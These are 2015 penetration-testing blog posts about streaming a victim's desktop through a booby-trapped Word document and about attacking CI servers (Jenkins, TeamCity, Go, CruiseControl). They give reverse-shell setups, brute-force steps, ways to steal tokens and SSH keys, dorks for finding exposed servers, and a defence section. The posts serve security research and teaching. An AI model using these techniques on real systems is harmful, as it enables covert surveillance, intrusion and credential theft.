Thursday, December 17, 2015

Stream a target's Desktop using MJPEG and PowerShell

Recently, I have been working on an interesting concept. I wanted to use MJPEG to stream images in real time from a target desktop to be able to see the activity of a target user. I literally spent weeks to get it working but in the end, it turned out that a small piece of PowerShell code could be used to achieve this. Anyway, I give you Show-TargetScreen.ps1. This script can stream a target's desktop in real time and the stream could be seen in browsers which support MJPEG (Firefox).

Show-TargetScreen is available in the Gather category of Nishang. The current source code looks like this:


Now, to use it for reverse connect, to avoid having to write a listener/server, I used powercat to run a local relay to which Show-TargetScreen connects and we point Firefox to the local port. So, start a powercat listener and relay to any local port. In the below command, Show-TargetScreen will connect to port 443 and Firefox will connect to Port 9000: 
Note that if on a *nix machine, netcat could be used as well. 

Now, to be able to stream a user's Desktop, Show-TargetScreen must be used with a client side attack. Let's use it with Out-Word from Nishang. Since like other Nishang scripts, Show-TargetScreen.ps1 loads a function with same name, we should pass an argument -"Show-TargetScreen -Reverse -IPAddress 192.168.1.6 -Port 443", and use it as a payload for Out-Word. 
Now, the generated doc file is to be sent to a target. As soon as a target user opens up the Word file, we will have a connect back on the powercat listener which will relay to the configured local port (TCP 9000 in this example).
Now if we point Firefox to http://127.0.0.1:9000, we have a live stream of the target user's Desktop.
Awesome! Isn't it? I recently tried this in couple of pen tests and was quite satisfied with the results.

Couple of things which I would like to improve in future:
- Proxy support
- HTTPS Connection.

Feel free to suggest improvements and submit pull requests. Feedback and comments are welcome.

Friday, December 4, 2015

Week of Continuous Intrusion Tools - Day 5 - Defense and other discussion

Welcome to Day 5 of Week of Continuous Intrusion tools. We are discussing security of Continuous Integration (CI) tools in this series of blog posts.


Day 1 - Jenkins (and Hudson) (Click Here)
Day 2 - TeamCity (Click Here)
Day 3 - Go and CruiseControl (Click Here)
Day 4 - Common Abuse Set, Lateral Movement and Post Exploitation (Click Here)
Day 5 - Defense and other discussion

Day 5, the last day of the Week of Continuous Intrusion Tools, is dedicated to defenses against the attacks we discussed both for those who develop these tools and users, responses to those who reported "things", instances of companies getting 0wned using CI tools and previous work.

Lets get started with Defense.

Defense for Administrators/Users

  • No build agent/executor should run on the master EVER. If the CI tool you use installs it by default (see the Common Abuse Set in Day 4), keep a strict control over which project or build can use the agent on master. If there are certain cases where you require agent on maser, try to eliminate those requirements by all means. 
  • Ability to Configure builds should be very restricted. Ask yourself, if you will you provide Local Administrator access to all the executors/agents machines tied to a project to a user.
  • Make sure that agents are pooled for projects. No project should be allowed to use arbitrary agents.
  • Secure the Administrator web console/dashboard.
    •  Make sure to enable Authentication and use complex passwords (at least) for Admin users, even if the tool runs only internally.
    • Enable HTTPS.
    • Consider integration with Active Directory for authentication. Please make sure to weigh pros and cons specially if your CI tool is exposed to the internet.
  • Ask your users to not use their username as passwords. 
  • Try not to expose your CI Tool to the Internet (unless you want to show to the World how your developers leave sensitive data in build logs). VPN anyone? (You may also like to experiment with things similar to Jenkins' Google or OpenID login plugins)
  • Do NOT provide even read access to Anonymous users (unless, once again, you want to show to the World how your developers leave sensitive data in build logs).
  • Ask your Red Team or Penetration Testers to specifically target your CI tool.

Defense for Tool Developers

    • Enforce password policies (complexity, expiry, captcha on login failures etc.)
    • A user must install agent/slave explicitly on the master. Do not include it in the install package. Show big red warning regularly if an agent/slave is installed on the master.
    • Please, puppy please, do not store credentials and keys in clear text on master (or anywhere else).
    • Assume that your users don’t know a thing about security. Make your tool at least reasonably secure in the default installation. IMHO, because "default just works", the level of security in a default installation is what one finds in majority of installations. You can learn from each other, for example:
      • When TeamCity can enable authentication in the default installation, why can't Jenkins and Go? 
      • When Go does not install an agent on master in the default install, why can't Jenkins and TeamCity? and so on.
    • Explore the possibility of running as a non-SYSTEM or admin on Windows installations.

    Response to those who reported things (and those who didn't)

    Response of CI tools developers to the above things has been, in the most polite words, unsatisfactory. Lets have a look at some examples. Warning: May look like a rant!

    In August 2014, I blogged about how Jenkins could be abused. While I did not report anything (as there was no vulnerability and I do not believe in responsible disclosure - more on it later on), someone raised an issue in the Jenkins issue tracker system. https://issues.jenkins-ci.org/browse/JENKINS-24513
    Some gems from that issue:
    • Response: "this is just something to be documented" Status: Not done yet.
    • Response: "How is this NOT obvious?"  Because it is not well documented.

    Those who tried to report issues: http://www.th3r3p0.com/vulns/jenkins/jenkinsVuln.html
    Couple of gems from the above:
    • "acknowledge that the Jenkins admins have the power to access all of these credentials and don't make unstrusted people admins"
    • "But admins are admins"
    Someone posted link to Day 3 on Go Google Group: https://groups.google.com/forum/#!topic/go-cd/TK9hzjO_CsA

    Couple of interesting responses:
    • "For obvious reasons, that's a bad idea" - Exactly my point.
    • "for it to be considered a pen test, I'd have expected it to be more thorough and trying different attacks" - The Trivial Attack Syndrome.
    After my talk at BlackHat Europe, saw this comment on TeamCity by a developer (don't want to take names): "as usually security goes against usability, so default setup should not be considered secure." Sad that this comes from those who, like everyone else, "take security very seriously".

     

    Free Advice: Dealing with security issues reported/not reported.

    Dear $Vendor, I know its very hard to listen to someone who tells you what is wrong with your software. Specially, if it is some random person from the Internet who may not know a bit of what you know about your code or tool. I understand that there are more serious issues and problems to be fixed. Still, try to follow at least the below points:

    • "If its admin its game over" is so 90s. Move on. Try to minimize lateral propagation and post exploitation.
    • Once again, the default security is the security you will find in majority of installs.
    • Don't try to be dismissive of the reports. If you will be dismissive, potential issue raisers will just move on. 
    • FFS, improve documentation. It is not enough to mark issues as "obvious" in comments. Make it look obvious in the documentation. 
    • All reported/not reported issues will not be 0 days. There will be issues which are critical enough but do not provide unauthenticated remote code execution. Understand that various low and medium severity issues are chained together for compromise. 
    • Repeat with me, trivial attacks are more dangerous, trivial attacks are more dangerous, trivial attacks...
    I would like to make a note here that couple developers of Go and TeamCity reached out to me in October 2015 when I was tweeting random stuff about their tools. I shared the relevant parts of my BlackHat and DeepSec preso with them and we had a good (but no fruitful) discussion.

     

    Why I don't do "Responsible Disclosure"

    Because I have no time, energy and motivation to do so. I sit on my bugs and use them during my pen tests and Red Team engagements or occasionally in the trainings I do. Also, bug bounty sucks!

    Getting 0wned due to CI Tools

    Previous Work

    Is this your pipe? Hijacking the build pipeline. (Defcon 22): https://goo.gl/9iTHmz

     

    What we didn't discuss?

    • Master<->agent communication and MITM attacks.
    • Compromising integrity of the source code and the build process.
    • Web application related vulnerabilities of web consoles.
    • Memory corruption bugs.  
    • Logging process and issues.

    I would like to end the week with some words of wisdom - As a single withered tree, if set aflame, causes a whole forest to burn, so does a single improperly configured Continuous Integration tool destroys a whole enterprise network. – Chanakya (350-275 BCE)
    Hope you enjoyed the week as much as I enjoyed creating it. Please leave comments and feedback.


    To support my research, join me for a two days training "PowerShell for Penetration Testers" at:


    BlackHat, Asia (March 29-30th, 2016) - https://www.blackhat.com/asia-16/training/powershell-for-penetration-testers.html


    HITB, Amsterdam (May 24-25th, 2016) - http://conference.hitb.org/hitbsecconf2016ams/sessions/2-day-training-3-powershell-for-penetration-testers/

    Thursday, December 3, 2015

    Week of Continuous Intrusion Tools - Day 4 - Common Abuse Set, Lateral Movement and Post Exploitation

    Welcome to Day 4 of Week of Continuous Intrusion tools. We are discussing security of Continuous Integration (CI) tools in this series of blog posts.


    Day 1 - Jenkins (and Hudson) (Click Here)
    Day 2 - TeamCity (Click Here)
    Day 3 - Go and CruiseControl (Click Here)
    Day 4 - Common Abuse Set, Lateral Movement and Post Exploitation
    Day 5 - Defense and other discussion (Click Here)

    Day 4 is dedicated to Common abuse set, Lateral movement and Post exploitation.

    In the past three days, we discussed how different attacks can be executed against Jenkins (and Hudson), TeamCity, (very briefly) CruiseControl and Go. Some of the readers might have noticed that many attacks looked common and were result of mis-configurations, lack of common security controls and/ or abuse of features. Lets pick things common to the tools we discussed and make a Common Abuse Set out of them.


    Common Abuse Set

    From the previous posts, the Common Abuse Set for the CI Tools we saw turns out to be:
    • Missing basic and common security controls
      • Missing protections against brute force attempts.
      •  Insecure storage of SSH keys and credentials.
      • Higher privileges on Windows machines for both master and slaves.
    •  The feature of Command Execution at the Operating System level.
    • Mis-Configuration
      • Agent on Master
      • Read permissions to everyone on public instances.
      • Use of HTTP for login
      • Not enabling encrypted communication between master and slaves.
    • Poor Security practices by users
      • Passwords in build parameters.
      • Use of username as password specially in case of users local to a CI tool. 
    • Many public instances of these tools
       Lets have a quick look at some of them.

       (Missing) Security Controls


      1. Authentication

      CI tools were found to missing even the most basic security control like protection against Brute Force attacks. In fact, Jenkins and Go have no authentication at all in the default installation. If you are following me this blog for past three days, you will find that it is trivial to find instances of these tools on the internet running with the default configurations. This highlights the state of security for these tools.Not many enterprise tools miss these basic controls.

      CI Tool Jenkins/Hudson Teamcity Go
      Authentication
      - Login attempts
      -Captcha
      -Password Policy
      - No Authentication by Default
      - No protection against Brute Force attacks in the recommended Matrix based Authorization
      - No captcha
      - No Password Policy (Complexity, History, Expire time etc.)
      - Guest User can be enabled
      - Registration enabled by default
      - Wait after five failed login attempts in one minute
      - No captcha
      - No Password Policy (Complexity, History, Expire time etc.)
      - No Authentication by Default
      - No protection against Brute Force attacks.
      - No captcha
      - No Password Policy (Complexity, History, Expire time etc.)

      2. Insecure Storage of Credentials/SSH Keys
      All the tested CI tools store all or some credentials and SSH Keys in insecure format. All of them store SSH Keys in clear text and encrypted credentials from Jenkins could be retrieved in clear text. Its amazing that these tools still do this.

      3. Privileges
      All the tested CI tools run with either SYSTEM or admin privileges on Windows. This holds true for both masters and slaves/agents. This makes the command execution access much more fruitful from an attacker's view.

      Command Execution

      The feature of CI tools which allow execution of Operating System commands by adding build steps is what makes them special. In most of the widely used enterprise tools, the ability to execute OS commands is uncommon. This ability makes CI tools a useful target. Add to it the capability of distributed builds and by compromising the master an attacker can execute commands on large number of slaves.

      Mis-configuration

      Agent on master
      Documentation of all the tested CI tools do not recommend having a build executor or agent on master. Still, Jenkins install it by default and TeamCity provides it in the same installation package. Only Go needs a user to download a separate installation for agent on master. We have already seen that an agent on master makes all security useless.

      Lateral Movement and Post Exploitation

      The kind of access we have with CI tools makes it possible to do much more interesting stuff in a network other than just a reverse shell. 

      Domain Admin


      Because CI Tools we discussed support distributed builds, in an enterprise environment it is quite possible to spot machines (master and/or slave) where a credentials of a high privileged user like a Common Local Admin or a Domain Admin are available. Note that even if master runs on *nix, there are almost always slaves running on Windows. 

      Lets assume this scenario. We have access to Jenkins or any other tool and the ability to configure builds on many slaves and one of the slaves has a process running as Domain Administrator.  We can use PowerShell (and other tools as well) to enumerate and reuse the token and escalate to Domain Admin. We can use Invoke-TokenManipulation from PowerSploit for enumeration and impersonation.We can use the below command in a Jenkins build step for downloading and executing the script in memory:
      Since the Jenkins runs as SYSTEM, this will list all the available tokens.
      Note that there is a token for the Domain Administrator. Now we can use the below command in Jenkins build step to run Invoke-TokenManipulation in memory, impersonate the token of Domain Administrator and run the Get-Process cmdlet on the Domain Controller.
      And the result looks like:
      Awesome! We just executed command on the domain controller as a domain admin. Too easy? Try it in an environment where you are authorized to do so and get pleasantly surprised ;)
      Please note that we assumed that the enumeration of name of Domain Admins and the Domain Controller was done already (which is trivial). Also, even if we cannot find a privileged user on any of the slaves, we can always try querying other machines in the network from the slave machines we have access to ;) Note that while querying other machines in a domain we must impersonate a domain user on the slave machine to be able to interact with Active Directory.

      Linux machines

      While testing the CI tools, we regularly got hands on SSH keys. These SSH keys could be used to access version control and Linux hosts.

      Lets assume this scenario. We got access to a Jenkins instance. We can retrieve and use SSH key to login to a Linux machine (root or normal user depending upon the keys). As we saw in Day 1, SSH keys in Jenkins are stored in clear either in $JENKINS_HOME or credentials.xml. We can also retrieve the passphrase. More than often, we will be able to login to a large number of slaves.

      Lets read credentials.xml and see if there are any private SSH keys there.
      Seems like there is a private key for a user named "ubuntuadmin" which has passphrase (encrypted). We can retreive the pass phrase using the method discussed in Day 1. Now, the only missing part is on which machine the key could be used.  For that, either we need to see build logs to find any logs regarding this key use or simply try it on all the Linux machines available.

      Also, to use the key with Putty, we need to convert it in putty format using puttygen.
      And then:
      Neat! It just depends on the kind of confugration and usage of CI Tools in the target network. Source code repositories, version control systems and databases are also often accessible after compromising a CI tool.

      Video Demonstration


      Hope you enjoyed the post! Feedback and comments are welcome :)

      To support my research, join me for a two days training "PowerShell for Penetration Testers" at:

      BlackHat, Asia (March 29-30th, 2016) - https://www.blackhat.com/asia-16/training/powershell-for-penetration-testers.html

      HITB, Amsterdam (May 24-25th, 2016) - http://conference.hitb.org/hitbsecconf2016ams/sessions/2-day-training-3-powershell-for-penetration-testers/

      Wednesday, December 2, 2015

      Week of Continuous Intrusion tools : Day 3 - Go and CruiseControl

      Welcome to the Day 3 of the Week of Continuous Intrusion Tools. We are having a look at the attack surface and abuse of Continuous Integration (CI) tools.

      To read posts of other days refer the table below:

      Day 1 - Jenkins (and Hudson) (Click Here)
      Day 2 - TeamCity(Click Here)
      Day 3 - Go and CruiseControl
      Day 4 - Common Abuse Set, Lateral Movement and Post Exploitation (Click Here)
      Day 5 - Defense and other discussion (Click Here)

      Day 3 is dedicated to Go. Go is an open source CI Tool. It is available here. Like previously discussed CI tools, Go supports distributed builds. That is, getting access to a Go Server provides access to not only the agents but to good amount of source code and much more!

      Some of the security issues to be noticed with Go:
      • No authentication in the default installation.
      • No protection against brute force attacks (repeated login attempts).
      • No password complexity/policy for user passwords.
      • Runs with SYSTEM or high privilege user on Windows (most configs settle with an admin account).
      Unfortunately, there are not many public instances of Go to be able to comment on the information leaked by them (see the Google Dorks section). Almost all the Go servers I did a pen test on were internal ones with regularly having no authentication at all.

      To be able to do something interesting at the Operating System level we must have the Pipeline Group Administrator privileges (which is a non admin privilege). I was unable to find a way to enumerate users so some OSINT has to be used to locate developers, source code management teams and build support teams in the target enterprise (doing a ruthless Brute Force may be useless). I am not going to cover that in this post. We have to make an assumption of getting access to a Pipeline Group Administrator user.

      Executing Commands

      Having the ability to add/edit jobs in a Pipeline, once again, we can execute commands on the OS level. We must configure a job which runs custom commands. See this documentation.
      And this is how the output looks like:
      Nice! SYSTEM privileges yet again.

      Now, lets see how we can use one very useful PowerShell shell to get a reverse connect. Though Go may not be one of the best tools to show this demo due to the lack of its public instance, lets use only ICMP communication to get a reverse shell. We will use Invoke-PowerShellIcmp from Nishang.  This reverse shell communicates completely over ICMP and needs a listener on Linux from the icmpsh suite. See my earlier blog post detailing its use here. After setting up the listener, we will modify Invoke-PowerShellIcmp to remove help contents and make the function call from the script itself, now we can use Invoke-Encode from Nishang to compress and base64 encode it. Now, it could be used in the custom command as below:

      and on the listener we can see:
      Great! We got an ICMP reverse shell!

      Now, if we have the ability to add/edit jobs on master. We can execute some more interesting attacks. Here we must note that Go does not have an agent on master and it doesn't even come in the same installation bundle. But for some reasons, people just love to run an agent on the master computer. 

      Removing Security

      If we have the ability to add/edit jobs on master, we can remove all the security from a Go Server. We must either remove the file cruise-config.xml from the config directory in Go installation directory or remove the part of it or we can add the current user to in the part of cruise-config.xml. The Go Server service must be restarted after that. Now, anyone with the url will have administrative rights on the Go Server.

      Below commands could be used to remove security from a Go Server (deletes cruise-config.xml and restarts the Go Server service)

      Credentials storage in cleartext

      SSH keys are stored in cleartext on the disk. A user with ability to configure jobs on master can read the keys. Location of SSH keys is:
      C:/Program Files (x86)/Go Server/%HOMEDRIVE%%HOMEPATH%/.ssh on Windows
      /var/go/.ssh on Linux

      Another interesting security issue is that to create users Go allows to use a file base authentication. Read the documentation here. The password in such a file is a base64 encoded SHA-1 with no salt. It is not hard to compute the password in cleartext once we have access to that file specially when Go doesn't enforce any password complexity. We can get to know if File based authentication is being used by looking for "passwordFile path" in the cruise-config.xml

      CruiseControl

      CruiseControl used to be very widely used with separate forks for .Net and Ruby. You can get it from here. We will have only a very quick look at CruiseControl as it is an old software but still there are public instances and I spot it regularly in internal pen tests. 
      It has no authentication by default. Commands could be executed by adding an “exec” builder in the Schedule category. Make sure to check out the /dashboard and /cruisecontrol on a CruiseControl instance.

      Google Dorks

      Following Google Dorks could be used to find public instances (too few) of Go
      Public instances: intitle:"Go - Login" inurl:go/auth/
      Public instances with no authentication: intitle:"Administration - Go" inurl:/go/admin
      Public instances of CruiseControl: intitle:"CruiseControl - Dashboard"

      The Unserialize vulnerability

      A fix was released for Go on November 9th, 2015: http://www.go.cd/2015/11/09/deserialization-vulnerability-commons-collections.html

      CruiseControl also uses the Commons-Collections library but I was not interested in looking at it in detail.


      To support my research, join me for a two days training "PowerShell for Penetration Testers" at:


      Tuesday, December 1, 2015

      Week of Continuous Intrusion Tools - Day 2 - TeamCity

      Welcome to the Day 2 of the Week of Continuous Intrusion Tools. I am doing a series of posts which explore the attack surface of CI Tools.

      To read posts of other days refer the table below:

      Day 1 - Jenkins (and Hudson) (Click Here)
      Day 2 - TeamCity
      Day 3 - Go and CruiseControl (Click Here)
      Day 4 - Common Abuse Set, Lateral Movement and Post Exploitation (Click Here)
      Day 5 - Defense and other discussion (Click Here)

      Day 2 is dedicated to TeamCity. It can be found here. Some of the security issues with TeamCity are:
      • Registration of new users is enabled by default. Registered user gets Project Developer privileges.
      • No password complexity/policy for user passwords.
      • Runs with SYSTEM or high privilege user on Windows (most configs settle with an admin account). 
      • Guest login could be enabled. In fact, so many public instances has it enabled. 

      The information available with public instances of TeamCity is mind boggling! I saw web portal credentials, database credentials, hidden services and code repositories and much more on some public instances. We may not require compromising TeamCity to get access to intellectual property of an organization, much could be gathered from the instance. 

      But to access the Operating System and do more fun stuff we must have a Project Administrator privilege (non-admin). This user role has the capability of Adding/Editing build steps.

      Fortunately, TeamCity has some protection against Brute Force attacks. It locks a user for one minute after five consecutive wrong login attempts within a minute. Also, it sends the password in encrypted form in transit. Still, since it does not enforce any password policy on user passwords, it is still possible with reasonable success to brute force it. 

      To enumerate users, we can either go through [TeamCityUrl]/viewLog.html?buildId=1 and iterate through it to look for user who triggered the build or a better way is to use its API and iterate through [TeamCityUrl]/app/rest/builds/id:1 and look for "user" tag. There are generally enough manually triggered builds to enumerate a good number of users.
      After building a list of users, we can use the API to brute force credentials. TeamCity API allows access using Basic Auth :) We can use Burp Intruder to launch a brute force attack against TeamCity (or any other tool of choice). To use Intruder against Basic Auth see this tutorial. Success looks like this:
      Keep in mind that TeamCity blocks a user for one minute after five consecutive login attempts, using delay is advised. We should keep trying unless access to a Project Administrator is achieved.

      Having the privileges to Configure builds we can do interesting stuff.

      Executing Commands

      As a Project Administrator we can add Build Steps. A Build Step with PowerShell runner is an excellent choice on a Windows machine. (On *nix machines Shell commands and scripts could be executed)
      And when the Project is run:
      Sweet! We have SYSTEM privileges.

      Now, lets use some PowerShell hackery to improve the result of the above. In a restricted environment, we may have only limited options for a connect back. Lets use Invoke-PoshRatHttps.ps1 from Nishang. Thanks to Casey, this shell makes a valid HTTPS connection between a target and a listener. Also, its client part is quite small and we just need to execute one line of PowerShell on the target.
      On the attacker's machine, just the Invoke-PoshRatHttps listener needs to be started. As soon as the build is triggered:
      Awesome! Encrypted traffic between the attacker and the client. I don't stress using PowerShell for nothing :)

      Now, if we have the capability of configuring builds on master, few more interesting things can be done.

      Super User

      TeamCity has a special user called Super User "which allows you to access the server UI with System Administrator permissions if you do not remember the credentials or need to fix authentication-related settings". Documentation about it is here. To login as a Super User we must have the Super User authentication token which could be found in the teamcity-server.log file. In a default installation on Windows, the file is located in the C:\TeamCity\logs\ directory. Following simple PowerShell command could be used to read the token from a Windows master:
      After getting the token, it could either be used with a blank username at the TeamCity login page or at [TeamCityUrl]/login.html?super=1. This is how a Super User login looks like:
      Great! Interestingly, a Super User token is regenerated only when the TeamCity Server service is restarted. Also, there can be any number of Super User logins simultaneously. It means once you get access to a Super User token, it could provide a reasonable long access to the TeamCity instance.

      Fun Fact: We can lock out Super User for one minute by attempting to login with a blank username and password on TeamCity login page. Though I have not tried it, a Super User may be locked for longer duration by scripting the login attempts.

      SSH Keys in clear

      TeamCity allows users to upload SSH keys for projects. These keys, which are the private ones, are stored in clear on the master! Read the documentation here.Whats worse is we can read the keys if we have the ability to configure builds on the master. The keys are stored in the [TeamCity Data Directory]\config\projects\[project]\pluginData\ssh_keys directory. We can get the Data Directory from the teamcity-server.log file.
      Bingo! May I remind you that we are in 2015 :)

      Google Dorks

      Use the below Google Dorks to spot public instances of TeamCity:
      Instances with Guest login enabled: intitle:"Projects - TeamCity"
      Instances which allow Registration of new account: "intitle:Register a new account – TeamCity"

      TeamCity instances have very sensitive information. The below screenshots are just examples, there is a gold mine out there.

      In the below screenshot, the build log contained url of a product under development along with the credentials to access it with admin privileges.
      The one below had credentials for the database administrator sa account password. The public IP address of the database was visible in another build log. 

      Unserialization Vulnerability

      As far as I know, TeamCity does not use the affected library.

      Video Demonstration

      A quick video demonstration of attacks discussed above:

      Hope you enjoyed the post! Feedback and comments are welcome :)

      To support my research, join me for a two days training "PowerShell for Penetration Testers" at:

      BlackHat, Asia (March 29-30th, 2016) - https://www.blackhat.com/asia-16/training/powershell-for-penetration-testers.html

      HITB, Amsterdam (May 24-25th, 2016) - http://conference.hitb.org/hitbsecconf2016ams/sessions/2-day-training-3-powershell-for-penetration-testers/